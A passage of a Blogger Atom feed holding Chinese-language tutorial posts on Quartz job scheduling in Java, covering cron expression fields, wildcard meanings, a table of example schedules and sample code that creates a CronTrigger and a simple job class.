&lt;/span&gt;&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;1&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;秒&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;是&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;0-59&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;, - * /&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;2&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;分&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;是&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;0-59&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;, - * /&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr valign="middle" align="left"&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;3&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;小时&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;是&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;0-23&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;, - * /&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr valign="middle" align="left"&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;4&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;日&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;是&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;1-31&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;, - * ? / L W&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr valign="middle" align="left"&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;5&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;月&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;是&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;1-12 or JAN-DEC&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;, - * /&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr valign="middle" align="left"&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;6&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;周&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;是&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;1-7 or SUN-SAT&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;, - * ? / L #&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;7&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;年&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;否&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;empty 或 1970-2099&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;, - * /&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;/tbody&gt;&lt;br/&gt;&lt;/table&gt;&lt;br/&gt;&lt;br/&gt;通配符说明:&lt;br/&gt;&lt;tt&gt;&lt;strong&gt;&lt;span style="color:red;"&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/tt&gt;&lt;tt&gt;&lt;strong&gt;&lt;span style="font-size:12pt;"&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/tt&gt;&lt;tt&gt;&lt;strong&gt;&lt;span style="font-size:12pt;"&gt;*&lt;/span&gt;&lt;/strong&gt;&lt;/tt&gt;&lt;/span&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;/span&gt;表示所有值. 例如:在分的字段上设置 &amp;quot;*&amp;quot;,表示每一分钟都会触发。&lt;br/&gt;&lt;tt&gt;&lt;strong&gt;&lt;span style="color:red;"&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/tt&gt;&lt;tt&gt;&lt;strong&gt;&lt;span style="font-size:12pt;"&gt;?&lt;/span&gt;&lt;/strong&gt;&lt;/tt&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;表示不指定值。使用的场景为不需要关心当前设置这个字段的值。例如:要在每月的10号触发一个操作，但不关心是周几，所以需要周位置的那个字段设置为&amp;quot;?&amp;quot; 具体设置为 0 0 0 10&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;span style="color:red;"&gt;&lt;span style="font-size:12pt;"&gt;&lt;span style="color:red;"&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;?&lt;br/&gt;&lt;tt&gt;&lt;strong&gt;&lt;span style="color:red;"&gt;&lt;span style="font-size:12pt;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/tt&gt;&lt;tt&gt;&lt;strong&gt;&lt;span style="color:red;"&gt;-&lt;/span&gt;&lt;/strong&gt;&lt;/tt&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;表示区间。例如 在小时上设置 &amp;quot;10-12&amp;quot;,表示 10,11,12点都会触发。&lt;br/&gt;&lt;tt&gt;&lt;strong&gt;&lt;span style="color:red;"&gt;&lt;span style="font-size:12pt;"&gt;,&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/tt&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;表示指定多个值，例如在周字段上设置 &amp;quot;MON,WED,FRI&amp;quot; 表示周一，周三和周五触发&lt;br/&gt;&lt;tt&gt;&lt;strong&gt;&lt;span style="color:red;"&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/tt&gt;&lt;tt&gt;&lt;strong&gt;&lt;span style="font-size:12pt;"&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/tt&gt;&lt;tt&gt;&lt;strong&gt;/&lt;/strong&gt;&lt;/tt&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;用于递增触发。如在秒上面设置&amp;quot;5/15&amp;quot; 表示从5秒开始，每增15秒触发(5,20,35,50)。 在月字段上设置'1/3'所示每月1号开始，每隔三天触发一次。&lt;br/&gt;&lt;tt&gt;&lt;strong&gt;&lt;span style="color:red;"&gt;&lt;span style="font-size:12pt;"&gt;L&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/tt&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;表示最后的意思。在日字段设置上，表示当月的最后一天(依据当前月份，如果是二月还会依据是否是润年[leap]), 在周字段上表示星期六，相当于&amp;quot;7&amp;quot;或&amp;quot;SAT&amp;quot;。如果在&amp;quot;L&amp;quot;前加上数字，则表示该数据的最后一个。例如在周字段上设置&amp;quot;6L&amp;quot;这样的格式,则表示&amp;ldquo;本月最后一个星期五&amp;quot;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;tt&gt;&lt;strong&gt;&lt;span style="color:red;"&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/tt&gt;&lt;tt&gt;&lt;strong&gt;&lt;span style="font-size:12pt;"&gt;W&lt;/span&gt;&lt;/strong&gt;&lt;/tt&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;表示离指定日期的最近那个工作日(周一至周五). 例如在日字段上设置&amp;quot;15W&amp;quot;，表示离每月15号最近的那个工作日触发。如果15号正好是周六，则找最近的周五(14号)触发, 如果15号是周未，则找最近的下周一(16号)触发.如果15号正好在工作日(周一至周五)，则就在该天触发。如果指定格式为 &amp;quot;1W&amp;quot;,它则表示每月1号往后最近的工作日触发。如果1号正是周六，则将在3号下周一触发。(注，&amp;quot;W&amp;quot;前只能设置具体的数字,不允许区间&amp;quot;-&amp;quot;).&lt;br/&gt;&lt;table width="85%" cellspacing="8" cellpadding="5" border="0" align="center" class="tipMacro"&gt;&lt;br/&gt;&lt;col width="24"&gt;&lt;/col&gt;&lt;col&gt;&lt;/col&gt;&lt;br/&gt;&lt;tbody&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td valign="top" style="font-size:12px;"&gt;小提示&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;&lt;br/&gt;&lt;p&gt;'L'和 'W'可以一组合使用。如果在日字段上设置&amp;quot;LW&amp;quot;,则表示在本月的最后一个工作日触发(一般指发工资&lt;img border="0" align="absmiddle" src="http://liuspring.wordpress.com/CuteSoft_Client/CuteEditor/images/emteeth.gif" /&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;)&lt;/p&gt;&lt;br/&gt;&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;/tbody&gt;&lt;br/&gt;&lt;/table&gt;&lt;br/&gt;&lt;tt&gt;&lt;strong&gt;&lt;span style="color:red;"&gt;&lt;span style="font-size:12pt;"&gt;#&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/tt&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;序号(表示每月的第几个周几)，例如在周字段上设置&amp;quot;6#3&amp;quot;表示在每月的第三个周六.注意如果指定&amp;quot;#5&amp;quot;,正好第五周没有周六，则不会触发该配置(用在母亲节和父亲节再合适不过了)&lt;br/&gt;&lt;table width="85%" cellspacing="8" cellpadding="5" border="0" align="center" class="infoMacro"&gt;&lt;br/&gt;&lt;col width="24"&gt;&lt;/col&gt;&lt;col&gt;&lt;/col&gt;&lt;br/&gt;&lt;tbody&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td valign="top" style="font-size:12px;"&gt;小提示&lt;/td&gt;&lt;br/&gt;&lt;td style="font-size:12px;"&gt;&lt;br/&gt;&lt;p&gt;周字段的设置，若使用英文字母是不区分大小写的&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;tt&gt;MON&lt;/tt&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;tt&gt;与mon相同&lt;/tt&gt;.&lt;/p&gt;&lt;br/&gt;&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;/tbody&gt;&lt;br/&gt;&lt;/table&gt;&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;常用示例:&lt;br/&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;br/&gt;&lt;table class="confluenceTable"&gt;&lt;br/&gt;&lt;tbody&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;&lt;tt&gt;0 0 12 * * ?&lt;/tt&gt;&lt;/td&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;每天12点触发&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;&lt;tt&gt;0 15 10 ? * *&lt;/tt&gt;&lt;/td&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;每天10点15分触发&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;&lt;tt&gt;0 15 10 * * ?&lt;/tt&gt;&lt;/td&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;每天10点15分触发&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;&lt;tt&gt;0 15 10 * * ? *&lt;/tt&gt;&lt;/td&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;每天10点15分触发&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;&lt;tt&gt;0 15 10 * * ? 2005&lt;/tt&gt;&lt;/td&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;2005年每天10点15分触发&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;&lt;tt&gt;0 * 14 * * ?&lt;/tt&gt;&lt;/td&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;每天下午的 2点到2点59分每分触发&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;&lt;tt&gt;0 0/5 14 * * ?&lt;/tt&gt;&lt;/td&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;每天下午的 2点到2点59分(整点开始，每隔5分触发)&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;&lt;tt&gt;0 0/5 14,18 * * ?&lt;/tt&gt;&lt;/td&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;每天下午的 2点到2点59分(整点开始，每隔5分触发)&lt;br/&gt;            每天下午的 18点到18点59分(整点开始，每隔5分触发)&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;&lt;tt&gt;0 0-5 14 * * ?&lt;/tt&gt;&lt;/td&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;每天下午的 2点到2点05分每分触发&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;&lt;tt&gt;0 10,44 14 ? 3 WED&lt;/tt&gt;&lt;/td&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;3月分每周三下午的 2点10分和2点44分触发&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;&lt;tt&gt;0 15 10 ? * MON-FRI&lt;/tt&gt;&lt;/td&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;从周一到周五每天上午的10点15分触发&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;&lt;tt&gt;0 15 10 15 * ?&lt;/tt&gt;&lt;/td&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;每月15号上午10点15分触发&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;&lt;tt&gt;0 15 10 L * ?&lt;/tt&gt;&lt;/td&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;每月最后一天的10点15分触发&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;&lt;tt&gt;0 15 10 ? * 6L&lt;/tt&gt;&lt;/td&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;每月最后一周的星期五的10点15分触发&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;&lt;tt&gt;0 15 10 ? * 6L 2002-2005&lt;/tt&gt;&lt;/td&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;从2002年到2005年每月最后一周的星期五的10点15分触发&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;&lt;tt&gt;0 15 10 ? * 6#3&lt;/tt&gt;&lt;/td&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;每月的第三周的星期五开始触发&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;&lt;tt&gt;0 0 12 1/5 * ?&lt;/tt&gt;&lt;/td&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;每月的第一个中午开始每隔5天触发一次&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;&lt;tt&gt;0 11 11 11 11 ?&lt;/tt&gt;&lt;/td&gt;&lt;br/&gt;&lt;td class="confluenceTd" style="font-size:12px;"&gt;每年的11月11号 11点11分触发(光棍节)&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;/tbody&gt;&lt;br/&gt;&lt;/table&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;除了使用xml配置job，还可以使用java代码建立job&lt;br/&gt;public static void main(String[] args){&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;       try {&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;       // Initiate a Schedule Factory&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       SchedulerFactory schedulerFactory = new StdSchedulerFactory();&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       // Retrieve a scheduler from schedule factory&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       Scheduler scheduler = schedulerFactory.getScheduler();&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       // current time&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       long ctime = System.currentTimeMillis(); &lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       // Initiate JobDetail with job name, job group, and executable job class&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       JobDetail jobDetail = &lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;       new JobDetail(&amp;quot;jobDetail22&amp;quot;, &amp;quot;jobDetailGroup22&amp;quot;, SimpleJob.class);&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       // Initiate CronTrigger with its name and group name&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       CronTrigger cronTrigger = new CronTrigger(&amp;quot;cronTrigger2&amp;quot;, &amp;quot;triggerGroup22&amp;quot;);&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       // setup CronExpression&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       CronExpression cexp = new CronExpression(&amp;quot;0/5 * * * * ?&amp;quot;);&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       // Assign the CronExpression to CronTrigger&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       cronTrigger.setCronExpression(cexp);&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       // schedule a job with JobDetail and Trigger&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       scheduler.scheduleJob(jobDetail, cronTrigger);&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       // start the scheduler&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       scheduler.start();&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &amp;nbsp;&amp;nbsp;&amp;nbsp;       } catch (Exception e) {&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       e.printStackTrace();&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;       }&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       &lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;       }&lt;br/&gt;&lt;br/&gt;参考资料：&lt;br/&gt;&lt;a href="http://www.blogjava.net/xmatthew/archive/2009/02/15/253864.html"&gt;http://www.blogjava.net/xmatthew/archive/2009/02/15/253864.html&lt;/a&gt;&lt;br/&gt;&lt;a href="http://www.ibm.com/developerworks/cn/java/j-quartz/index.html"&gt;http://www.ibm.com/developerworks/cn/java/j-quartz/index.html&lt;/a&gt;&lt;br/&gt;&lt;a href="../../showco/blog/item/569e64d9e852e32f11df9bb0.html"&gt;http://hi.baidu.com/showco/blog/item/569e64d9e852e32f11df9bb0.html&lt;/a&gt;&lt;br/&gt;&lt;a href="http://www.blogjava.net/steady/archive/2007/08/02/134017.html"&gt;http://www.blogjava.net/steady/archive/2007/08/02/134017.html&lt;/a&gt;&lt;br class="Apple-interchange-newline" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-3208280393264321985?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/3208280393264321985/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/06/quartz.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3208280393264321985'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3208280393264321985'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/06/quartz.html' title='用 Quartz 进行作业调度 续'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-4270964271597957354</id><published>2009-06-11T00:15:00.000+08:00</published><updated>2010-08-13T11:22:02.749+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='学习java'/><title type='text'>用 Quartz 进行作业调度</title><content type='html'>Quartz 是个开源的作业调度框架，&lt;br/&gt;为在 Java 应用程序中进行作业调度提供了简单却强大的机制。&lt;br/&gt;Quartz 允许开发人员根据时间间隔（或天）来调度作业。&lt;br/&gt;它实现了作业和触发器的多对多关系，还能把多个作业与不同的触发器关联。&lt;br/&gt;整合了 Quartz 的应用程序可以重用来自不同事件的作业，&lt;br/&gt;还可以为一个事件组合多个作业。&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;  1. 下载 Quartz API。&lt;br/&gt;&amp;nbsp;&amp;nbsp;  2. 新建web项目&lt;br/&gt;&amp;nbsp;&amp;nbsp;  3. 解压缩并把 quartz-x.x.x.jar、core 和/或 optional 文件夹中的 jar 文件和optional 文件夹中的 jar 文件 放在项目lib文件夹内。如果使用 JDBCJobStore，把所有的 JDBC jar 文件放在项目的lib文件夹。&lt;br/&gt;&amp;nbsp;&amp;nbsp;  4. 新建java类作为一个job，必须实现org.quartz.Job接口&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  public class SimpleJob implements Job {&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  public void execute(JobExecutionContext context) throws JobExecutionException {&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  System.out.println(&amp;quot;In SimpleQuartzJob - executing its JOB at &amp;quot;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  + new Date() + &amp;quot; by &amp;quot; + context.getTrigger().getName());   &lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  